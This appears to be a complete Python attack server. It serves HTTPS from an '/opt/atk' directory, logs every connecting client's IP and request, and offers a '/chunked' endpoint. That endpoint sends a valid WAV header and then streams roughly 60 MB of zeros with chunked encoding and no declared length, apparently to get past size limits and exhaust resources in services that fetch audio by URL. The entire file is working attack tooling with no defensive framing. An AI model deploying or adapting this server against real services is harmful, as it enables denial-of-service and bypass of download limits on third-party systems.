import http.server, ssl, datetime, struct

class H(http.server.SimpleHTTPRequestHandler):
    def log_message(self, f, *a):
        with open("/opt/atk/requests.log", "a") as log:
            log.write(datetime.datetime.now().isoformat() + " " + self.client_address[0] + " " + self.requestline + "\n")

    def do_GET(self):
        if self.path == "/health":
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"ok")
            return
        if self.path.startswith("/chunked"):
            # valid wav header, then stream 60MB via chunked encoding (no Content-Length)
            rate = 24000
            n = rate * 2 * 100
            hdr = b"RIFF" + struct.pack("<I", 36 + n) + b"WAVEfmt " + struct.pack("<IHHIIHH", 16, 1, 1, rate, rate * 2, 2, 16) + b"data" + struct.pack("<I", n)
            self.send_response(200)
            self.send_header("Content-Type", "audio/wav")
            self.send_header("Transfer-Encoding", "chunked")
            self.end_headers()
            def chunk(data):
                self.wfile.write(b"%x\r\n" % len(data) + data + b"\r\n")
                self.wfile.flush()
            try:
                chunk(hdr)
                block = b"\x00" * (1024 * 1024)
                for i in range(60):
                    chunk(block)
                self.wfile.write(b"0\r\n\r\n")
                self.wfile.flush()
            except Exception:
                pass
            return
        super().do_GET()

s = http.server.ThreadingHTTPServer(("0.0.0.0", 443), H)
c = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
c.load_cert_chain("/opt/atk/cert.pem", "/opt/atk/key.pem")
s.socket = c.wrap_socket(s.socket, server_side=True)
s.serve_forever()
